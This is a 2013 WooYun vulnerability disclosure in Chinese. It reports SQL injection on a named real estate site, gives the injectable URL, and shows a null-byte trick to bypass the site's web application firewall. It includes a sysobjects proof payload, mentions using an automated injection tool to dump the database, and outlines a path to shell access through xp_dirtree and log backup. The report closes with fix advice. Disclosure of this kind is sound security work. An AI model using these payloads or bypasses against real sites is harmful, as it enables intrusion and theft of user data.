漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2013-021187
漏洞标题：中原楼市网sql注射导致可被脱裤
相关厂商：中原楼市网
漏洞作者： sql
提交时间：2013-04-03 11:54
修复时间：2013-06-14 10:45
公开时间：2013-06-14 10:45
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：15
漏洞状态：未联系到厂商或者厂商积极忽略
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2013-04-03： 积极联系厂商并且等待厂商认领中，细节不对外公开
2013-06-14： 厂商已经主动忽略漏洞，细节向公众公开
简要描述：
中原楼市网sql注射导致可被脱裤
注入点：
http://house.zyloushi.com/YuShouZheng/SellView.ASP?SellID=2133
详细说明：
注入点：
http://house.zyloushi.com/YuShouZheng/SellView.ASP?SellID=2133
由于装了安全狗，（目测安全狗版本该升级了，比较老）可以变一下
http://house.zyloushi.com/YuShouZheng/SellView.ASP?x=%00&SellID=2133
然后打开穿山甲，开启绕过防火墙模式 就可以开扫了。
漏洞证明：
http://house.zyloushi.com/YuShouZheng/SellView.ASP?x=%00&SellID=2133/**/and/**/(select%20count(*)%20from%20sysobjects)>0
后台用户名密码：
预售证信息：14247 条
楼盘信息： 2397条
还有一些表 没有扫。
因为是sqlserver2000,db_owner权限，后面的 xp_dirtree扫路径，然后log备份之类的粗活拿shell的事情 就没弄，因为反正可以脱裤，能证明其危害即可。（主要还是懒）。
修复方案：
1，换新狗。
2，其实主要还是注入给补了，把自己问题踏实的解决了，狗这东西要不要都行。（过滤，参数化查询都行。）
版权声明：转载请注明来源 sql@乌云
漏洞回应
厂商回应：
未能联系到厂商或者厂商积极拒绝